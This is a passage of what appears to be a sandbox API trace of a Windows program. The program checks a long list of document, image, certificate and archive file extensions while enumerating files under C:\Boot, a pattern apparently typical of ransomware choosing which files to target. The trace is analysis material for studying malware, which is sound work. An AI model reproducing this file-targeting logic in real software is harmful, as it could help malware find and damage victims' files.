	[0167.702] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".cin") returned 4
	[0167.702] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".class") returned 6
	[0167.702] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.702] lstrlenW (lpString=".clx") returned 4
	[0167.702] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.702] lstrlenW (lpString=".config") returned 7
	[0167.702] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.702] lstrlenW (lpString=".cpp") returned 4
	[0167.702] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".cr2") returned 4
	[0167.703] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".crt") returned 4
	[0167.703] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".crw") returned 4
	[0167.703] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".cs") returned 3
	[0167.703] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.703] lstrlenW (lpString=".css") returned 4
	[0167.703] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".csv") returned 4
	[0167.703] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".cub") returned 4
	[0167.703] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".dae") returned 4
	[0167.703] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".dat") returned 4
	[0167.703] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".db") returned 3
	[0167.703] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.703] lstrlenW (lpString=".dbf") returned 4
	[0167.703] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".dbx") returned 4
	[0167.703] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".dc3") returned 4
	[0167.703] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".dcm") returned 4
	[0167.703] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".dcr") returned 4
	[0167.703] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.703] lstrlenW (lpString=".der") returned 4
	[0167.703] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dib") returned 4
	[0167.704] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dic") returned 4
	[0167.704] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dif") returned 4
	[0167.704] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".divx") returned 5
	[0167.704] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.704] lstrlenW (lpString=".djvu") returned 5
	[0167.704] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.704] lstrlenW (lpString=".dng") returned 4
	[0167.704] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".doc") returned 4
	[0167.704] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".docm") returned 5
	[0167.704] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.704] lstrlenW (lpString=".docx") returned 5
	[0167.704] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.704] lstrlenW (lpString=".dot") returned 4
	[0167.704] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dotm") returned 5
	[0167.704] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.704] lstrlenW (lpString=".dotx") returned 5
	[0167.704] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.704] lstrlenW (lpString=".dpx") returned 4
	[0167.704] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dqy") returned 4
	[0167.704] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dsn") returned 4
	[0167.704] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.704] lstrlenW (lpString=".dt") returned 3
	[0167.704] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.704] lstrlenW (lpString=".dtd") returned 4
	[0167.705] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".dwg") returned 4
	[0167.705] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".dwt") returned 4
	[0167.705] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".dx") returned 3
	[0167.705] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.705] lstrlenW (lpString=".dxf") returned 4
	[0167.705] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".edml") returned 5
	[0167.705] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.705] lstrlenW (lpString=".efd") returned 4
	[0167.705] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".elf") returned 4
	[0167.705] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".emf") returned 4
	[0167.705] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".emz") returned 4
	[0167.705] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".epf") returned 4
	[0167.705] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".eps") returned 4
	[0167.705] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".epsf") returned 5
	[0167.705] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.705] lstrlenW (lpString=".epsp") returned 5
	[0167.705] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.705] lstrlenW (lpString=".erf") returned 4
	[0167.705] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".exr") returned 4
	[0167.705] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.705] lstrlenW (lpString=".f4v") returned 4
	[0167.706] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".fido") returned 5
	[0167.706] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.706] lstrlenW (lpString=".flm") returned 4
	[0167.706] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".flv") returned 4
	[0167.706] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".frm") returned 4
	[0167.706] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".fxg") returned 4
	[0167.706] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".geo") returned 4
	[0167.706] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".gif") returned 4
	[0167.706] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".grs") returned 4
	[0167.706] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".gz") returned 3
	[0167.706] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.706] lstrlenW (lpString=".h") returned 2
	[0167.706] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.706] lstrlenW (lpString=".hdr") returned 4
	[0167.706] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".hpp") returned 4
	[0167.706] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".hta") returned 4
	[0167.706] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".htc") returned 4
	[0167.706] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".htm") returned 4
	[0167.706] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.706] lstrlenW (lpString=".html") returned 5
	[0167.707] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.707] lstrlenW (lpString=".icb") returned 4
	[0167.707] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".ics") returned 4
	[0167.707] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".iff") returned 4
	[0167.707] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".inc") returned 4
	[0167.707] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".indd") returned 5
	[0167.707] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.707] lstrlenW (lpString=".ini") returned 4
	[0167.707] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".iqy") returned 4
	[0167.707] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".j2c") returned 4
	[0167.707] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".j2k") returned 4
	[0167.707] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".java") returned 5
	[0167.707] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.707] lstrlenW (lpString=".jp2") returned 4
	[0167.707] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".jpc") returned 4
	[0167.707] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".jpe") returned 4
	[0167.707] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.707] lstrlenW (lpString=".jpeg") returned 5
	[0167.707] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.707] lstrlenW (lpString=".jpf") returned 4
	[0167.708] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".jpg") returned 4
	[0167.708] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".jpx") returned 4
	[0167.708] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".js") returned 3
	[0167.708] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.708] lstrlenW (lpString=".jsf") returned 4
	[0167.708] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".json") returned 5
	[0167.708] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.708] lstrlenW (lpString=".jsp") returned 4
	[0167.708] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".kdc") returned 4
	[0167.708] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".kmz") returned 4
	[0167.708] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".kwm") returned 4
	[0167.708] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".lasso") returned 6
	[0167.708] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.708] lstrlenW (lpString=".lbi") returned 4
	[0167.708] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.708] lstrlenW (lpString=".lgf") returned 4
	[0167.708] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".lgp") returned 4
	[0167.913] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".log") returned 4
	[0167.913] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".m1v") returned 4
	[0167.913] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".m4a") returned 4
	[0167.913] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".m4v") returned 4
	[0167.913] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".max") returned 4
	[0167.913] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".md") returned 3
	[0167.913] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.913] lstrlenW (lpString=".mda") returned 4
	[0167.913] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".mdb") returned 4
	[0167.913] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".mde") returned 4
	[0167.913] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.913] lstrlenW (lpString=".mdf") returned 4
	[0167.913] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mdw") returned 4
	[0167.914] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mef") returned 4
	[0167.914] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mft") returned 4
	[0167.914] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mfw") returned 4
	[0167.914] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mht") returned 4
	[0167.914] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mhtml") returned 6
	[0167.914] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.914] lstrlenW (lpString=".mka") returned 4
	[0167.914] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mkidx") returned 6
	[0167.914] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.914] lstrlenW (lpString=".mkv") returned 4
	[0167.914] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mos") returned 4
	[0167.914] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mov") returned 4
	[0167.914] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mp3") returned 4
	[0167.914] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mp4") returned 4
	[0167.914] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mpeg") returned 5
	[0167.914] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.914] lstrlenW (lpString=".mpg") returned 4
	[0167.914] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.914] lstrlenW (lpString=".mpv") returned 4
	[0167.915] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.915] lstrlenW (lpString=".mrw") returned 4
	[0167.915] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.915] lstrlenW (lpString=".msg") returned 4
	[0167.915] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.915] lstrlenW (lpString=".mxl") returned 4
	[0167.915] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".myd") returned 4
	[0167.915] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".myi") returned 4
	[0167.915] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".nef") returned 4
	[0167.915] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".nrw") returned 4
	[0167.915] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".obj") returned 4
	[0167.915] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".odb") returned 4
	[0167.915] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".odc") returned 4
	[0167.915] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".odm") returned 4
	[0167.915] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".odp") returned 4
	[0167.915] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".ods") returned 4
	[0167.915] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".oft") returned 4
	[0167.915] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".one") returned 4
	[0167.915] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.915] lstrlenW (lpString=".onepkg") returned 7
	[0167.915] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.916] lstrlenW (lpString=".onetoc2") returned 8
	[0167.916] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.916] lstrlenW (lpString=".opt") returned 4
	[0167.916] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".oqy") returned 4
	[0167.916] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".orf") returned 4
	[0167.916] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".p12") returned 4
	[0167.916] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".p7b") returned 4
	[0167.916] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".p7c") returned 4
	[0167.916] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pam") returned 4
	[0167.916] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pbm") returned 4
	[0167.916] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pct") returned 4
	[0167.916] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pcx") returned 4
	[0167.916] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pdd") returned 4
	[0167.916] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pdf") returned 4
	[0167.916] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pdp") returned 4
	[0167.916] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pef") returned 4
	[0167.916] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.916] lstrlenW (lpString=".pem") returned 4
	[0167.916] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pff") returned 4
	[0167.917] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pfm") returned 4
	[0167.917] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pfx") returned 4
	[0167.917] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pgm") returned 4
	[0167.917] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".php") returned 4
	[0167.917] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".php3") returned 5
	[0167.917] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.917] lstrlenW (lpString=".php4") returned 5
	[0167.917] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.917] lstrlenW (lpString=".php5") returned 5
	[0167.917] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.917] lstrlenW (lpString=".phtml") returned 6
	[0167.917] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.917] lstrlenW (lpString=".pict") returned 5
	[0167.917] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.917] lstrlenW (lpString=".pl") returned 3
	[0167.917] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.917] lstrlenW (lpString=".pls") returned 4
	[0167.917] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pm") returned 3
	[0167.917] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.917] lstrlenW (lpString=".png") returned 4
	[0167.917] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pnm") returned 4
	[0167.917] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".pot") returned 4
	[0167.917] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.917] lstrlenW (lpString=".potm") returned 5
	[0167.918] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.918] lstrlenW (lpString=".potx") returned 5
	[0167.918] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.918] lstrlenW (lpString=".ppa") returned 4
	[0167.918] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.918] lstrlenW (lpString=".ppam") returned 5
	[0167.918] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.918] lstrlenW (lpString=".ppm") returned 4
	[0167.918] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.918] lstrlenW (lpString=".pps") returned 4
	[0167.918] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.918] lstrlenW (lpString=".ppsm") returned 5
	[0167.918] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.919] lstrlenW (lpString=".ppt") returned 4
	[0167.919] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.919] lstrlenW (lpString=".pptm") returned 5
	[0167.919] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.919] lstrlenW (lpString=".pptx") returned 5
	[0167.919] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.919] lstrlenW (lpString=".prn") returned 4
	[0167.919] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.919] lstrlenW (lpString=".ps") returned 3
	[0167.919] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.919] lstrlenW (lpString=".psb") returned 4
	[0167.919] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.919] lstrlenW (lpString=".psd") returned 4
	[0167.919] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.919] lstrlenW (lpString=".pst") returned 4
	[0167.919] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.919] lstrlenW (lpString=".ptx") returned 4
	[0167.919] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.919] lstrlenW (lpString=".pub") returned 4
	[0167.919] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.920] lstrlenW (lpString=".pwm") returned 4
	[0167.920] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.920] lstrlenW (lpString=".pxr") returned 4
	[0167.920] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.920] lstrlenW (lpString=".py") returned 3
	[0167.920] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.920] lstrlenW (lpString=".qt") returned 3
	[0167.920] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.920] lstrlenW (lpString=".r3d") returned 4
	[0167.920] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.920] lstrlenW (lpString=".raf") returned 4
	[0167.920] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.920] lstrlenW (lpString=".rar") returned 4
	[0167.920] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.920] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.920] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.920] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.920] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.920] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0167.920] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.921] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.921] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
